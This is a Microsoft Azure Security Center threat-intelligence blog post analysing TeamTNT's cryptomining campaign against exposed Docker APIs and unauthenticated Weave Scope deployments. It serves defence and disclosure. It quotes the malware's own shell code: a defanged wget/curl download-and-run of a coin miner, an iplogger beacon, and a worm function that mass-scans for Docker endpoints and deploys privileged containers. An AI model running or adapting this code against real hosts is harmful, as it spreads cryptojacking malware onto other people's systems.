TeamTNT activity targets Weave Scope deployments

techcommunity.microsoft.com/t5/azure-security-center/teamtnt-activity-targets-weave-scope-deployments/ba-p/1645968

September 9, 2020

Skip to footer content

Yossi Weizman, Security Researcher, Azure Security Center
Ross Bevington, Principal Software Engineer, Microsoft Threat Intelligence Center

The cybercrime group TeamTNT has been tracked by various research groups for a while now, with several articles that were written about their activity that is focused on Docker workloads. In May, TrendMicro research team described the group's attempts to spread cryptocurrency miners via exposed Docker API servers. In August, Aqua Security released an analysis of several images that are stored under TeamTNT's Dockerhub account: *hildeteamtnt*. In this blog we will share new details about this group and elaborate about another, an unknown, access vector that the group uses in addition to exposed Docker API servers.

Azure Security Center leverages data that is collected by Microsoft Threat Intelligence Center's sensor network. In mid-August, several deployments of the image **hildeteamtnt/pause-amd64:3.4** were observed in our sensor network. This repository hasn't been seen in previous known attacks of this group. Another image from that repository**, pause-amd64:3.3,** was seen as well. In this blog post, we'll focus on the first image, pause-amd64:3.4, which has more functionality. Microsoft's sensor network exposes an open Docker API server and tracks the connection to this service. The attackers tried to deploy their images via this service, which is consistent with the known behavior of TeamTNT group, that spread their malware in this method.

This image has been deployed also on several Kubernetes clusters. Azure Kubernetes Service (AKS) is a managed Kubernetes service that allows customers to easily deploy a Kubernetes cluster in Azure. Azure Security Center monitors the behavior of the AKS management layer as well as the behavior of the containers themselves to find malicious activity. AKS clusters, as managed services, should not expose Docker API externally. The fact that several clusters were infected by this image might imply that there is additional access vector that is used by the group for spreading their malware. And indeed, we discovered an additional access vector that is used by this group which we will describe later.

The image **pause-amd64:3.4** has a similar functionality to other images that are used by this group and is focused on running cryptocurrency mining and spreading the malware to other machines.

The entry point of the image is */root/pause* which is a shell script.

The script starts with downloading the main payload: Coin miner (packed with UPX) that is downloaded from: *hxxp[://]85.214.149.236:443/sugarcrm/themes/default/images/default.jpg*. This server, located in Germany, contains large number binaries and malicious scripts that are used by this group. Some of them were observed in previous campaigns of this group and were analyzed before.

The miner is saved on the host as */usr/sbin/docker-update* and executed after allowing its execution and changing its attributes to immutable:

```
#!/bin/bash

wget -q hxxp[://]85.214.149.236:443/sugarcrm/themes/default/images/default.jpg -O /usr/sbin/
docker-update || curl -s hxxp[://]85.214.149.236:443/sugarcrm/themes/default/images/default.jpg -o /usr/
sbin/docker-update
chmod +x /usr/sbin/docker-update 2>/dev/null 1>/dev/null
chattr +i /usr/sbin/docker-update 2>/dev/null 1>/dev/null
tntrecht +i /usr/sbin/docker-update 2>/dev/null 1>/dev/null
/usr/sbin/docker-update
```

The attackers use a service called iplogger.org which allows them to track the number of infected hosts and get their details:

```
if [ -f "/usr/bin/first" ]; then
curl -k hxxps[://]iplogger.org/14Ntw7 -o /dev/null || wget --no-check-certificate -O /dev/null hxxps[://
]iplogger.org/14Ntw7 || curl hxxps[://]iplogger.org/14Ntw7 || wget hxxps[://]iplogger.org/14Ntw7
bash /usr/bin/first
fi
```

The script enters a loop, in which in every iteration it invokes the function pwn() five times; each invocation differs in the second parameter, which is a destination port:

```
while true do
    pwn "hxxp[://]rhuancarlos.inforgeneses.inf.br/%20%20%20.%20%20%20.%20%20%20./index.php" 2375 50000
    pwn "hxxp[://]rhuancarlos.inforgeneses.inf.br/%20%20%20.%20%20%20.%20%20%20./index.php" 2376 50000
    pwn "hxxp[://]rhuancarlos.inforgeneses.inf.br/%20%20%20.%20%20%20.%20%20%20./index.php" 2377 50000
    pwn "hxxp[://]rhuancarlos.inforgeneses.inf.br/%20%20%20.%20%20%20.%20%20%20./index.php" 4243 50000
    pwn "hxxp[://]rhuancarlos.inforgeneses.inf.br/%20%20%20.%20%20%20.%20%20%20./index.php" 4244 50000
done
```

The function itself, which a very similar version of it also seen on previous malware of the group as described by TrendMicro, retrieves an IP range from the server (first parameter) which returns a different range in every request. The function scans that range for open Docker API endpoints with the open-source tool masscan. The scanned port is passed as a parameter to the function. The scanned ports are 2375, 2376, 2377, 4243 and 4244. On each exposed endpoint that is found, the script deploys the same image (pause-amd64:3.4) using the exposed TCP socket. In addition, the script attempts to kill competitor images using *docker rm* commands.

```
pwn(){
    prt=$2
    randgen=$(curl -sL $1 | shuf | head -n 200)
    rndstr=$(head /dev/urandom | tr -dc a-z | head -c 6 ; echo '')
    eval "$rndstr"="'$(masscan $randgen -p$prt --rate=$3 | awk '{print $6}'| zgrab --senders 200 --port $prt --hxxp='/v1.16/version'
    --output-file=- 2>/dev/null | grep -E 'ApiVersion|client version 1.16' | jq -r .ip)'";
    for ipaddy in ${!rndstr} do
        echo "$ipaddy:$prt"
        timeout 60s docker -H tcp://]$ipaddy:$2 run --restart always --privileged --network host -d hildeteamtnt/pause-amd64:3.4
        #exit 124 = ok
        $(docker rm $(docker ps | grep -v grep | grep "/bin/bash -c 'apt" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
        $(docker rm $(docker ps | grep -v grep | grep "/bin/bash" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
        $(docker rm $(docker ps | grep -v grep | grep "/root/startup.sh" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
        $(docker rm $(docker ps | grep -v grep | grep "widoc26117/xmr" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
        $(docker rm $(docker ps | grep -v grep | grep "zbrtgwlxz" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
        $(docker rm $(docker ps | grep -v grep | grep "tail -f /dev/null" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
    done;
}
```

The details above refer to the image *pause-amd:3.4*. The image *pause-amd:3.3,* that was also seen in the honeypots, is very similar and contains the same reconnaissance and spreading phase. However, it does not include the execution of the miner itself. This image contains strings in German, which might, like the IP address of the payload server, point to the origin of the group.

As written above, that image was also observed on several AKS clusters, which are managed Kubernetes clusters. In such a scenario, it is less likely that Docker API service will be exposed to the Internet, as the AKS nodes are configured with the proper configuration of the Docker server. Therefore, we could assume that the attackers had a different access vector in those incidents.

When we looked for the common deployments of the various Kubernetes clusters that were infected by this image, we noticed that all of them have an open Weave Scope service. Weave Scope is a popular visualization and monitoring framework for containerized environments. Among other features, Weave Scope shows the running processes and the network connections of the various containers. In addition, Weave Scope allows users to run shell on the pods or nodes in the cluster (as root). Since Weave Scope does not use any authentication by default, exposure of this service to the Internet poses a severe security risk. And still, we see cluster administrators who enable public access to this interface, as well as other similar services. Attackers, including this group, take advantage of this misconfiguration and use the public access to compromise Kubernetes clusters.

This is not the first time that we detect a campaign that targets exposed sensitive interfaces to the Internet. In June, we revealed a large scale attack that exploited exposed Kubeflow dashboard. In both cases, a high impact service, that allows eventually code execution on the containers or underlying nodes is openly exposed to the Internet. Misconfigured services seem to be among the most popular and dangerous access vectors when it comes to attacks against Kubernetes clusters.

How Azure Security Center protects customers?

Azure Security Center (ASC) detects this attack, as well as similar attacks, both in the Kubernetes management layer and in the node-level:

Management Layer protection

1. ASC automatically detects sensitive services that are exposed to the Internet. In this incident, ASC detected the exposed Weave Scope service. Detecting exposure of such services immediately when they occur is crucial to prevent their exploitation.
2. ASC detects deployments of malicious containers in AKS clusters. The detection covers the images that were used in this attack. ASC uses the data from Microsoft Threat Intelligence Center's sensor network to continuously expand its coverage and detect the recent attacks in the wild.

Node Level protection

1. ASC detects Docker API services that are openly accessible to the Internet.
2. ASC detects malicious behavior on the nodes, including cryptocurrency mining activity.

Recommendations

1. Azure Policy for Kubernetes can be used to restrict and audit sensitive actions in the cluster such as deploying images from public repositories, deployment of privileged containers etc. For more information see the documentation. Integration with Azure Security Center will be available soon. Policies such as the following can prevent similar incidents: "*Privileged containers should be avoided*" and "*Container images should be deployed from trusted registries only*"

IoCs

hxxp://85[.]214[.]149[.]236:443/sugarcrm/themes/default/images/default.jpg
hxxp://rhuancarlos[.]inforgeneses[.]inf[.]br/%20%20%20.%20%20%20.%20%20%20./index.php
hildeteamtnt/pause-amd64:3.4
hildeteamtnt/pause-amd64:3.3
sha256:c88b9f32c143ee78b215b106320dbe79e28d39603353b0b9af2c806bcb9eb7b6
sha256:340d9af58a3b3bedaae040ce9640dd3a9a8c30ddde2c85fb7aa28d2bff2d663e
sha256:139f393594aabb20543543bd7d3192422b886f58e04a910637b41f14d0cad375
sha256:68ad2df2371276736 1d17a55ee13a3b482bee5a07ea3f3741c057db24b36bfce

0 Likes

Like

- About our ads